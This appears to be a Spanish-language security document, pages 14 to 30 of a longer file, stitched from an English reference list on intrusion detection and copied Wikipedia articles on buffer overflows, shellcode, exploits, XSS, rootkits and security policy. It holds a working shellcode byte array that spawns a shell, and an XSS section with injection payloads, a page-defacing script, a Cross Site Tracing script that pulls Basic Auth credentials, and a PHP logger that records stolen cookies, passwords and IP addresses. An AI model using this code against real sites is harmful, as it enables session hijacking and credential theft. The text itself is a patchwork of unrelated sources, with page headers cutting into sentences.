A. Mounji, B. Le Charlier. In Proceedings of the ISOC' 97 Symposium on Network and Distributed System Security. San Diego, California, 1997. (Continuous Assessment of a Unix Configuration: Integrating Intrusion Detection and Configuration Analysis).

A. Mounji, B. Le Charlier. In Proceedings of the Eight Benelux Workshop on Logic Programming. September, 1996. Louvain-La-Neuve, Belgium. (Detecting Breaches in Computer Security: A Pragmatic System with a Logic Programming Flavor).

B. Le Charlier, A. Mounji, M. Swimmer. In Proceedings of Fifth International Virus Bulletin Conference. Boston, Septembre 20-22, 1995. (Dynamic Detection and Classification of Computer Viruses Using General Behaviour Patterns).

A. Mounji, B. Le Charlier, D. Zampuniéris, N. Habra. In Proceedings of the ISOC '95 Symposium on Network and Distributed Systems Security. San Diego, California, February 1995. (Distributed Audit Trail Analysis).

A. Mounji, B. Le Charlier, D. Zampuniéris, N. Habra. Research Report, May 1994, 36 pages. (Preliminary Report on Distributed ASAX).

N. Habra, B. Le Charlier, A. Mounji. Research Report, March 1993, 62 pages. (Advanced Security Audit Trail Analysis on uniX. Implementation Design of the NADF Evaluator).

N. Habra, B. Le Charlier, A. Mounji, I. Mathieu. In Proceedings of the Second European Symposium on Research in Computer Security (ESORICS). Toulouse, France, November 1992. (ASAX: Software Architecture and Rule-base Language for Universal Audit Trail Analysis).

N. Habra, B. Le Charlier, A. Mounji. Research Report, December 1991, 34 pages. (Preliminary Report on Advanced Security Audit Trail Analysis on uniX).

Steps for Recovering from a UNIX Root Compromise. (http://www.cert.org).

Marcus J. Ranum, "Intrusion detection: challenges and myths", Network Flight Recorder, Inc., March 2000.

Ellen Messmer, "Intrusion-detection software", Network World, April 1999.

Dan Farmer (Sun Microsystems), Wietse Venema (Eindhoven University of Technology), "Improving the security of your site by breaking into it", 1997.

Page 14: Ataque de fuerza bruta

David Newman, Tadesse Giorgis, and Farhad Yavari-Issalou, "Intrusion detection systems: suspicious finds", Data Communications, August 1998.

Desbordamiento de búferDe Wikipedia

(Redirigido desde Buffer overflow)Saltar a navegación, búsqueda

Un desbordamiento de búfer (del inglés buffer overflow) es un error de software que se produce cuando se copia una cantidad más grande de datos sobre un área más pequeña sin interrumpir la operación, sobreescribiendo otras zonas de memoria.

En algunas ocasiones eso puede suponer la posibilidad de alterar el flujo del programa pudiendo hacer que éste realice operaciones no previstas. Esto es posible dado que en las arquitecturas comunes de ordenadores, la memoria no tiene separación entre la dedicada a datos y a programa.

Si el programa que tiene el error en cuestión tiene privilegios especiales se convierte además en un fallo de seguridad. El código copiado especialmente preparado para obtener los privilegios del programa atacado se llama shellcode.

[editar]

Vease tambien

HoF

FSoF

Exploit

Bug

ShellcodeDe Wikipedia

Saltar a navegación, búsqueda

Una shellcode es un conjunto de órdenes programadas generalmente en lenguaje ensamblador que se inyectan en la pila para conseguir que la máquina en la que reside se ejecute la operación que se haya programado.

Page 15: Ataque de fuerza bruta

Una shellcode ejemplar, escrita según la notación del C:

char shellcode[]= "\x31\xc0" /* xorl %eax,%eax */ "\x31\xdb" /* xorl %ebx,%ebx */ "\x31\xc9" /* xorl %ecx,%ecx */ "\xb0\x46" /* movl $0x46,%al */ "\xcd\x80" /* int $0x80 */ "\x50" /* pushl %eax */ "\x68""/ash" /* pushl $0x6873612f */ "\x68""/bin" /* pushl $0x6e69622f */ "\x89\xe3" /* movl %esp,%ebx */ "\x50" /* pushl %eax */ "\x53" /* pushl %ebx */ "\x89\xe1" /* movl %esp,%ecx */ "\xb0\x0b" /* movb $0x0b,%al */ "\xcd\x80" /* int $0x80 */;

NOTA: En el ejemplo anterior, el array de carateres se obtiene al desensamblar el código programado en lenguaje ensamblador, una vez compilado (binario). Así tenemos que una shellcode es código máquina escrito en notación hexadecimal. Posteriormente se utilizan dentro de programas escritos en C.

Las shellcodes deben ser cortas. Las más cortas conocidas hoy día son las de 22 bytes.

Las shellcodes se utilizan para ejecutar código aprovechando ciertas vulnerabilidades exploit en el código llamadas desbordamiento de búfer. Principalmente el shellcode se programa para permitir ejecutar un intérprete de comandos en el equipo afectado.

ExploitDe Wikipedia

Saltar a navegación, búsqueda

Exploit (del inglés to exploit, explotar, aprovechar) es el nombre con el que se identifica un programa informático malicioso, o parte del programa, que trata de forzar alguna deficiencia o vulnerabilidad de otro programa. El fin puede ser la destrucción o inhabilitación del sistema atacado, aunque normalmente se trata de violar las medidas de seguridad para poder acceder al mismo de forma no autorizada y emplearlo en beneficio propio o como origen de otros ataques a terceros.

Los exploits se pueden caracterizar según las categorías de vulnerabilidades utilizadas:

Vulnerabilidades de desbordamiento de buffer. Vulnerabilidades de condición de carrera (race

condition).

Page 16: Ataque de fuerza bruta

Vulnerabilidades de error de formato de cadena (format string bugs).

Vulnerabilidades de Cross Site Scripting (XSS). Vulnerabilidades de Inyección SQL. Vulnerabilidades de Inyección de Caracteres

(CRLF). Vulnerabilidades de denegación del servicio Vulnerabilidades de Inyección múltiple HTML

(Multiple HTML Injection). Vulnerabilidades de ventanas enganosas o

mistificación de ventanas (Window Spoofing).

Condición de carreraDe Wikipedia

Saltar a navegación, búsqueda

En electrónica y en programación concurrente, se conoce como condición de carrera (en inglés race condition) al error que se produce en programas o circuitos lógicos cuando no han sido diseñados adecuadamente para su ejecución simultánea con otros.

Un ejemplo típico es el interbloqueo que se produce cuando dos procesos están esperando a que el otro realice una acción. Como los dos están esperando, ninguno llega a realizar la acción que el otro espera.

Obtenido de "http://es.wikipedia.org/wiki/Condici%C3%B3n_de_carrera"

XSS (Cross Site Scripting) -

Introduccion

Es el ataque basado en la explotacion de vulnerabilidades del sistema de validación de HTML incrustado. El problema es que normalmente no se valida correctamente. Esta vulnerabilidad puede estar presente de forma directa (foros, mensajes de error) o indirecta (redirecciones, framesets). Cada una se trata de forma diferente.

Directa

Este tipo de XSS es el que normalmente es censurado; así que es muy poco común que puedas usar tags como <script> o <iframe>

Indirecta

Page 17: Ataque de fuerza bruta

Esta es un tipo de vulnerabilidad, muy común y muy poco explotada. Consiste en modificar valores que la aplicacion web utiliza para pasar variables entre dos páginas, sin usar sesiones.

[editar]

Indirecta

Esta sucede cuando hay un mensaje o una ruta en la URL del navegador o en la cookie. Para saber el contenido de una cookie, sin usar ningun tipo de iecv o addin para tu navegador, puedes usar el siguiente script. Sólo colócalo en la barra de direcciones, y presiona Enter. javascript:void(document.cookie=prompt("Modifica el valor de la cookie",document.cookie).split(";"));

Una vez dentro se puede modificar la cookie a tu antojo. Si pones cancelar la cookie se borrará.

¿Qué podemos ver con este ejemplo? Que podemos meter comandos javascript solo modificando una URL.

[editar]

Usando FrameSets

Regresemos al ejemplo del frameset, que según la página que coloques te crea un frame a esa página. ¿Qué pasara si pones en esa URL?

javascript:while(1)alert("Te estoy floodeando");

Y el enlace lo pone un intruso hacia un foro. Un navegador incauto, va a verlo y dirá, bueno, es del mismo dominio, no puede ser nada malo.. y de resultado tendra un loop infinito.

Hasta ahí llegan los newbies. Pero vamos a ponernos en la piel de un experto. Se trata de colocar un script que tome tu cookie, y mande un mp al administrador, o incluso, que borre todos los mensajes de un foro.

El robo de cookies es lo más básico, y tiene como objetivo robar la cookie. ¿Y eso de qué sirve? Tengo el PHPSESSID, y si el usuario ciera sesión no sirve de nada.

Cierto, pero con el uso de la librería cURL un usuario malintencionado, podría al recibir tu cookie, entrar a la página, y dejarla en caché, para que el atacante cuando quiera, pueda entrar como tú, sin siquiera necesitar tu contraseña.

Otro uso común para estas vulnerabilidades es lograr hacer phishing; o colocar un exploit.

Page 18: Ataque de fuerza bruta

Quiere ello decir que tú ves la barra de direcciones, y ves que estás en una página, pero realmente estás en otra. Introduces tu contraseña y la fastidiaste.

Lo peor son los sitios de descarga, que colocan en la misma URL el sitio de objetivo. Esas páginas web son vulnerables a ataques XSS indirectos. O sea que un intruso puede colocar una imagen con enlace al sitio malicioso, y se ejecuta, sin que el usuario lo sepa.

[editar]

Mensaje personalizado

La técnica sólo funciona con imágenes: error.php?error=Usuario%20Invalido

Esa página es vulnerable a XSS indirecto.

Un <script> que cree otra sesión bajo otro usuario y tu sesion actual la mande al atacante (es lo que explicaba de cURL hace un momento), puede causar estragos.

Este codigo (muy peligroso) borra todo el contenido de la página en cuestión, y escribe otra cosa:

<script>document.documentElement.innerHTML="DEFACED";</script>

[editar]

Directa

Funciona localizando puntos débiles en la programación de los filtros. Así que si, por ejemplo, logran quitar los <iframe>, <script>, el atacante siempre puede poner un <div> malicioso, o incluso un <u> o <s> . Tags que casi siempre están permitidos.

Esto pone los pelos de punta a muchos webmasters.

[editar]

Ejemplos de Scripts donde no son comunes de encontrar

<BR SIZE="&{alert('XSS')}">

<FK STYLE="behavior: url(http://yoursite/xss.htc);">

Page 19: Ataque de fuerza bruta

<DIV STYLE="background-image: url(javascript:alert('XSS'))">

Usar Style es increíblemente fácil de usar, y lo malo es que muchos filtros son vulnerables. eval(this.fu) y en el div, se puede agregar un campo "fu" con el código

[editar]

Ajax

Este es un tipo de XSS no tan conocido, pero peligroso. Se basa en usar cualquier tipo de vulnerabilidad para introducir un objeto XMLHTTP y desde ahí enviar contenido POST, GET, sin conocimeinto del usuario

El siguiente script de ejemplo obtiene el valor de las cabeceras de autenticación de un sistema basado en Basic Auth. Sólo habría que decodificarlo, pero es más fácil mandarlo codificado al log de contraseñas . La codificacién es base64.

[editar]

Script para obtener credenciales en tipo BASIC

Esta tecnica tambien es llamada XST Cross Site Tracing XST

var xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");

xmlhttp.open("TRACE","./",false);

xmlhttp.send();

str1=xmlhttp.responseText;

splitString = str1.split("Authorization: Basic ");

str2=splitString[1];

str3=str2.split("Cache");

alert(str3);

[editar]

log.php para registrar cookies

<?php

$archivo = fopen('log2.htm','a');

$cookie = $_GET['c'];

Page 20: Ataque de fuerza bruta

$usuario = $_GET['id'];

$ip = getenv ('REMOTE_ADDR');

$re = $HTTPREFERRER;

$fecha=date("j F, Y, g:i a");

fwrite($archivo, '<hr>USUARIO Y PASSWORD: '.base64_decode($usuario).'<br>Cookie: '.$cookie.'<br>Pagina: '.$re.'<br> IP: ' .$ip. '<br> Fecha y Hora: ' .$fecha. '</hr>');

fclose($archivo);

?>

[editar]

Links

XSS Cheat Sheet

Ejemplo de uso de Flash para hacer ataques XSS

Otro tutorial de XSS centrado especificamente en la practica

XSS FAQ

Obtenido de "http://es.wikipedia.org/wiki/XSS"

RootkitDe Wikipedia

Saltar a navegación, búsqueda

Un rootkit es un conjunto de herramientas usadas frecuentemente por los intrusos o crackers que consiguen acceder ilícitamente a un sistema informático. Estas herramientas sirven para esconder los procesos y archivos que permiten al intruso mantener el acceso al sistema, a menudo con fines maliciosos. Hay rootkits para una amplia variedad de sistemas operativos, como Linux, Solaris o Microsoft Windows.

Page 21: Ataque de fuerza bruta

Origen de los rootkits

El término "rootkit" (también se puede escribir "root kit") en sus orígenes hacía referencia a un grupo de herramientas recompiladas de Unix como ps, netstat, w o passwd que habiendo sido debidamente modificadas, ocultaban cualquier actividad del cracker. De este modo, el intruso podría mantener el control del sistema con privilegios de superusuario, pero quedando oculto a los ojos de los usuarios y administradores.

Actualmente, el término no está restringido a los sistemas operativos basados en Unix, ya que existen herramientas similares para otros sistemas como Windows (incluso para los sistemas operativos que no utilizan cuentas de root).

[editar]

Objetivos de un rootkit

Un rootkit oculta inicios de sesión (logins), procesos, archivos y registros (logs). Puede incluir software para interceptar datos procedentes de terminales, conexiones de red e incluso el teclado (keylogger). Los rootkits son habitualmente considerados como troyanos.

[editar]

Uso de los rootkits

Un rootkit se usa habitualmente para esconder algunas aplicaciones que podrían actuar en el sistema atacado. Suelen incluir backdoors (puertas traseras) para ayudar al intruso a acceder fácilmente al sistema una vez que se ha conseguido entrar por primera vez. Por ejemplo, el rootkit puede esconder una aplicación que lance una consola cada vez que el atacante se conecte al sistema a través de un determinado puerto. Los rootkits del kernel o núcleo pueden contener funcionalidades similares. Un backdoor puede permitir también que los procesos lanzados por un usuario sin privilegios de administrador ejecuten algunas funcionalidades reservadas únicamente al superusuario. Todo tipo de herramientas útiles para obtener información de forma ilícita pueden ser ocultadas mediante rootkits.

Los rootkits se utilizan también para usar el sistema atacado como "base de operaciones", es decir, usarlo a su vez para lanzar ataques contra otros equipos. De este modo puede parecer que es el sistema inflitrado el que lanza los ataques y no el intruso externo. Este tipo de ataques podrían ser de denegación de servicio (DoS), ataques mediante IRC o mediante correo electrónico (spam).

Recientemente, algunas aplicaciones de spyware e incluso CDs comerciales con sistemas de gestión de derechos digitales (DRM) han empezado a utilizar rootkits para esconderse a sí mismos de los programas anti-spyware, haciendo su desinstalación del equipo mucho más complicada.

[editar]

Page 22: Ataque de fuerza bruta

Tipos de rootkits

[editar]

Tipos básicos

Los rootkits se pueden clasificar en dos grupos: los que van integrados en el núcleo y los que funcionan a nivel de aplicación. Los que actúan desde el kernel añaden o modifican una parte del código de dicho núcleo para ocultar el backdoor. Normalmente este procedimiento se complementa añadiendo nuevo código al kernel, ya sea mediante un controlador (driver) o un módulo, como los módulos del kernel de Linux o los dispositivos del sistema de Windows. Estos rootkits suelen parchear las llamadas al sistema con versiones que esconden información sobre el intruso. Son los más peligrosos, ya que su detección puede ser muy complicada.

Los rootkits que actúan como aplicaciones pueden reemplazar los archivos ejecutables originales con versiones crackeadas que contengan algún troyano, o también pueden modificar el comportamiento de las aplicaciones existentes usando hacks, parches, cógido inyectado, etc.

[editar]

Ejemplos

FU Rootkit SuckIT Adore T0rn Ambient's Rootkit (ARK) Hacker Defender First 4 Internet XCP (Extended Copy Protection)

DRM

[editar]

Detección de rootkits

Hay limitaciones inherentes a cualquier programa que intente detectar rootkits mientras se estén ejecutando en el sistema sospechoso. Los rootkits son aplicaciones que modifican muchas de las herramientas y librerías de las cuales depende el sistema. Algunos rootkits modifican el propio kernel (a través de módulos y otros métodos como se indica más arriba). El principal problema de la detección de rootkits consiste en que el sistema operativo en ejecución no es fiable globalmente. En otras palabras, algunas acciones como pedir la lista de los procesos en ejecución o listar los ficheros de un directorio no son fiables al no comportarse como deberían.

El mejor método para detectar un rootkit es apagar el sistema que se considere infectado y revisar o salvar los datos arrancando desde un medio alternativo, como un CD-ROM de rescate o un PenDrive. Un rootkit inactivo no puede ocultar su presencia. Los

Page 23: Ataque de fuerza bruta

programas antivirus mejor preparados suelen identificar a los rootkits que funcionan mediante llamadas al sistema y peticiones de bajo nivel, las cuales deben quedar intactas. Si hay alguna diferencia entre ellas, se puede afirmar la presencia de un rootkit. Los rootkits intentan protegerse a sí mismos monitorizando los procesos activos y suspendiendo su actividad hasta que el escaneo ha finalizado, de modo que el rootkit no pueda ser identificado por un detector.

Los fabricantes de aplicaciones de seguridad han ido integrando los detectores de rootkits en los productos tradicionales de detección de antivirus. Si un rootkit consigue esconderse durante el proceso de detección, será identificado por el detector de rootkits, que busca movimientos sospechosos. Si el rootkit "decide" detenerse momentáneamente, será identificado como un virus. Esta técnica combinada de detección puede obligar a los atacantes a implementar mecanismos de contraataque (también llamados retro-rutinas) en el código del rootkit, con el objetivo de eliminar los procesos creados por el software de seguridad, eliminando así al programa antivirus de la memoria. Al igual que con los virus convencionales, la detección y eliminación de los rootkits será una batalla permanente entre los creadores del rootkit y de los programas de seguridad.

Hay varios programas disponibles para detectar rootkits. En los sistemas basados en Unix, dos de las aplicaciones más populares son chkrootkit y rkhunter. Para Windows está disponible un detector llamado Blacklight (gratuito para uso personal) en la web de F-Secure. Otra aplicación de detección para Windows es Rootkit Revealer de Sysinternals. Detecta todos los rootkits actuales comparando las funcionalidades del sistema operativo original con las que se han detectado. Sin embargo, algunos rootkits han empezado a añadir este programa a la lista de los cuales no deben esconderse. En esencia, eliminan las diferencias entre los dos listados, de modo que el detector no los encuentra. Pero algo tan simple como renombrar el fichero rootkitrevealer.exe hace que el rootkit ya no sepa que se está enfrentando a un detector. Como se decía antes, será una continua batalla entre los rootkits y los antivirus.

[editar]

Véase también

Cracker Virus informático Seguridad informática

[editar]

Enlaces externos

ROOTKIT.COM - comunidad de desarrollo de rootkits

Rootkits en el kernel de Linux Análisis del rootkit T0rn Rootkits para Windows y Linux y software de

detección(En alemán)

Page 24: Ataque de fuerza bruta

Ejemplo de un rootkit eliminado como un virus Anti-trojan.org: Información sobre troyanos en

rootkits y software de detección Strider GhostBuster Rootkit Detection

[editar]

Software de detección de rootkits

Freeware

www.antirootkit.com (Windows/UNIX/Linux) chkrootkit (UNIX/Linux) rkhunter (UNIX/Linux) RootkitRevealer (Windows) está disponible en

Sysinternals y se actualiza continuamente klister es un grupo de herramientas en fase

preliminar flister programa para detectar archivos ocultos por

rootkits en Windows IceSword Aquí hay una revisión IceSword --> 1.

Introducción (español) IceSword --> 2. Tutorial (español)

Shareware

Rkdetector v2.0 Orientado al análisis forense permite detectar y eliminar rootkits además de poder ser usado como software de recuperación de datos.

Blacklight (versión beta) de F-Secure tiene versión en línea de comandos y gráfica.

Security Task Manager es un gestor de tareas avanzado que puede mostrar procesos y servicios ocultos

TaskInfo de Igor Arsenin es otro gestor de tareas mejorado

unhackme de Greatis software Trojanhunter de Mischel Internet Security AB ProcessGuard de Diamond Computer Systems

Pty. Ltd. Rootkit Downloads Descargas de anti-rootkits y

rootkits (en alemán).

Obtenido de "http://es.wikipedia.org/wiki/Rootkit"

Page 25: Ataque de fuerza bruta

Seguridad informáticaDe Wikipedia

Saltar a navegación, búsqueda

La seguridad informática, generalmente consiste en asegurar que los recursos del sistema de información (material informático o programas) de una organización sean utilizados de la manera que se decidió.

Introducción

Podemos entender como seguridad una característica de cualquier sistema (informático o no) que nos indica que ese sistema está libre de peligro, daño o riesgo. Se entiende como peligro o daño todo aquello que pueda afectar su funcionamiento directo o los resultados que se obtienen del mismo. Para la mayoría de los expertos el concepto de seguridad en la informática es utópico porque no existe un sistema 100% seguro. Para que un sistema se pueda definir como seguro debemos de dotar de tres características al mismo:

Integridad Confidencialidad Disponibilidad

Dependiendo de las fuentes de amenazas, la seguridad puede dividirse en seguridad lógica y seguridad física.

[editar]

Términos relacionados con la seguridad informática

Activo: recurso del sistema de información o relacionado con éste, necesario para que la organización funcione correctamente y alcance los objetivos propuestos.

Amenaza: evento que pueden desencadenar un incidente en la organización, produciendo daños materiales o pérdidas inmateriales en sus activos.

Impacto: consecuencia de la materialización de una amenaza.

Riesgo: posibilidad de que se produzca un Impacto determinado en un Activo, en un Dominio o en toda la Organización.

Vulnerabilidad: posibilidad de ocurrencia de la materialización de una amenaza sobre un Activo.

Page 26: Ataque de fuerza bruta

Ataque: evento, exitoso o no, que atenta sobre el buen funcionamiento del sistema.

Aunque a simple vista se puede entender que un Riesgo y una Vulnerabilidad se podrían englobar un mismo concepto, una definición más informal denota la diferencia entre riesgo y vulnerabilidad, de modo que se debe la Vulnerabilidad está ligada a una Amenaza y el Riesgo a un Impacto.

[editar]

Análisis de riesgos

El activo más importante que se posee es la información, y por lo tanto deben existir técnicas que la aseguren, más allá de la seguridad física que se establezca sobre los equipos en los cuales se almacena. Estas técnicas las brinda la seguridad lógica que consiste en la aplicación de barreras y procedimientos que resguardan el acceso a los datos y sólo permiten acceder a ellos a las personas autorizadas para hacerlo.

Existe un viejo dicho en la seguridad informática que dicta: "lo que no está permitido debe estar prohibido" y esto es lo que debe hacer ésta seguridad lógica.

Los objetivos para conseguirlo son:

1. Restringir el acceso (de personas de la organización y de las que no lo son) a los programas y archivos.

2. Asegurar que los operadores puedan trabajar pero que no puedan modificar los programas ni los archivos que no correspondan (sin una supervisión minuciosa).

3. Asegurar que se utilicen los datos, archivos y programas correctos en/y/por el procedimiento elegido.

4. Asegurar que la información transmitida sea la misma que reciba el destinatario al cual se ha enviado y que no le llegue a otro.

5. Asegurar que existan sistemas y pasos de emergencia alternativos de transmisión entre diferentes puntos.

6. Organizar a cada uno de los empleados por jerarquía informática, con claves distintas y permisos bien establecidos, en todos y cada uno de los sistemas o softwares empleados.

[editar]

Puesta en marcha de una política de seguridad

Page 27: Ataque de fuerza bruta

Generalmente se ocupa exclusivamente a asegurar los derechos de acceso a los datos y recursos con las herramientas de control y mecanismos de identificación. Estos mecanismos permiten saber que los operadores tiene sólo los permisos que se les dio.

La seguridad informática debe ser estudiada para que no impida el trabajo de los operadores en lo que les es necesario y que puedan utilizar el sistema informático con toda confianza. Por eso en lo referente a elaborar una política de seguridad, conviene:

elaborar reglas y procedimientos para cada servicio de la organización

definir las acciones a emprender y elegir las personas a contactar en caso de detectar una posible intrusión

sensibilizar los operadores con los problemas ligados con la seguridad de los sistemas informáticos

Los derechos de acceso de los operadores deben ser definidos por los responsables jerárquicos y no por los administradores informáticos, los cuales tienen que conseguir que los recursos y derechos de acceso sean coherentes con la política de seguridad definida. Además, como el administrador suele ser el único en conocer perfectamente el sistema, tiene que derivar a la directiva cualquier problema e información relevante sobre la seguridad, y eventualmente aconsejar estrategias a poner en marcha, así como ser el punto de entrada de la comunicación a los trabajadores sobre problemas y recomendaciones en término de seguridad.

[editar]

Las amenazas

Una vez que la programación y el funcionamiento de un dispositivo de almacenamiento (o transmisión) de la información se consideran seguras, todavía deben ser tenidos en cuenta los circunstancias "no informáticas" que pueden afectar a los datos, las cuales son a menudo imprevisibles o inevitables, de modo que la única protección posible es la redundancia (en el caso de los datos) y la descentralización -por ejemplo mediante estructura de redes- (en el caso de las comunicaciones).

Estos fenómenos pueden ser causados por:

un operador: causa del mayor problema ligado a la seguridad de un sistema informático (por que no le importa, no se da cuenta o a propósito).

programas maliciosos: programas destinados a perjudicar o a hacer un uso ilícito de los recursos del sistema es instalado (por inatención o maldad) en el ordenador abriendo una puerta a intrusos o bien modificando los datos. Estos programas pueden ser un virus informático, un gusano informático, un troyano, una bomba lógica o un programa espía o Spyware

Page 28: Ataque de fuerza bruta

un intruso : persona que consigue acceder a los datos o programas de los cuales no tiene acceso permitido (cracker, defacer, script kiddie o Script boy, viruxer, etc.)

un siniestro (robo, incendio, por agua) : una mala manipulación o una malintención derivan a la pérdida del material o de los archivos.

el personal interno de Sistemas. Las pujas de poder que llevan a disociaciones entre los sectores y soluciones incompatibles para la seguridad informática.

[editar]

Técnicas de aseguramiento del sistema

Codificar la información: Criptología, Criptografía y Criptociencia. Contraseñas difíciles de averiguar.

Vigilancia de red. Tecnologías repelentes o protectoras: cortafuegos,

sistema de detección de intrusos - anti-spyware, antivirus, llaves para protección de software, etc. Mantener los sistemas de información con las actualizaciones que más impacten en la seguridad.

[editar]

Consideraciones de software

Tener instalado en la máquina únicamente el software necesario reduce riesgos. Así mismo tener controlado el software asegura la calidad de la procedencia del mismo (el sofware pirata o sin garantías aumenta los riesgos). En todo caso un inventario de software proporciona un método correcto de asegurar la reinstalación en caso de desastre. El software con métodos de instalación rápidos facilita también la resintalación en caso de contingencia.

Existe software que es famoso por la cantidad de agujeros de seguridad que introduce. Se pueden buscar alternativas que proporcionen iguales funcionalidades pero permitiendo una seguridad extra.

[editar]

Consideraciones de una red

Los puntos de entrada en la red son generalmente el correo, las páginas web y la entrada de ficheros desde discos, o de ordenadores ajenos, como portátiles.

Page 29: Ataque de fuerza bruta

Mantener al máximo el número de recursos de red en sólo en modo lectura impide que ordenadores infectados propagen virus. En el mismo sentido se pueden reducir los permisos de los usuarios al mínimo.

Se pueden centralizar los datos de forma que detectores de virus en modo batch puedan trabajar durante el tiempo inactivo de las máquinas.

Controlar y monitorizar el acceso a Internet puede detectar, en fases de recuperación, como se ha introducido el virus.

[editar]

Algunos tópicos erróneos acerca de la seguridad

Mi sistema no es importante para un hacker. Este tópico se basa en la idea de que no introducir passwords seguras en una empresa no entraña riesgos pues ¿quien va a querer obtener información mía?. Sin embargo, dado que los métodos de contagio se realizan por medio de programas automáticos, desde unas máquinas a otras, estos no distinguen buenos de malos, interesantes de no interesantes, etc. Por tanto abrir sistemas y dejarlos sin claves es facilitar la vida a los virus.

Estoy protegido pues no abro archivos que no conozco. Esto es falso, pues existen múltiples formas de contagio, además los programas realizan acciones sin la supervisión del usuario poniendo en riesgo los sistemas.

Como tengo antivirus estoy protegido. En general los programas antivirus no son capaces de detectar todas las posibles formas de contagio existentes, ni las nuevas que pudieran aparecer conforme los ordenadores aumenten las capacidades de comunicación.

Como dispongo de un firewall no me contagio. Esto únicamente proporciona una limitada capacidad de respuesta. Las formas de infectarse en una red son múltiples. Unas provienen directamente de accesos al sistema (de lo que protege un firewall) y otras de conexiones que se realizan (de las que no me protege). Emplear usuarios con altos privilegios para realizar conexiones puede entrañar riesgos.

[editar]

Organismos oficiales de seguridad informática

Page 30: Ataque de fuerza bruta

Existen organismos oficiales encargados de asegurar servicios de prevención de riesgos y asistencia a los tratamientos de incidencias. Como el CERT/CC (Computer Emergency Response Team Coordination Center) del SEI de la Carnegie Mellon University son centros de alertas y reacción frente a los ataques informáticos, destinados a las empresas o administradores, pero generalmente estas informaciones son accesibles a todo el mundo. Hacking

Obtenido de "http://es.wikipedia.org/wiki/Seguridad_inform%C3%A1tica"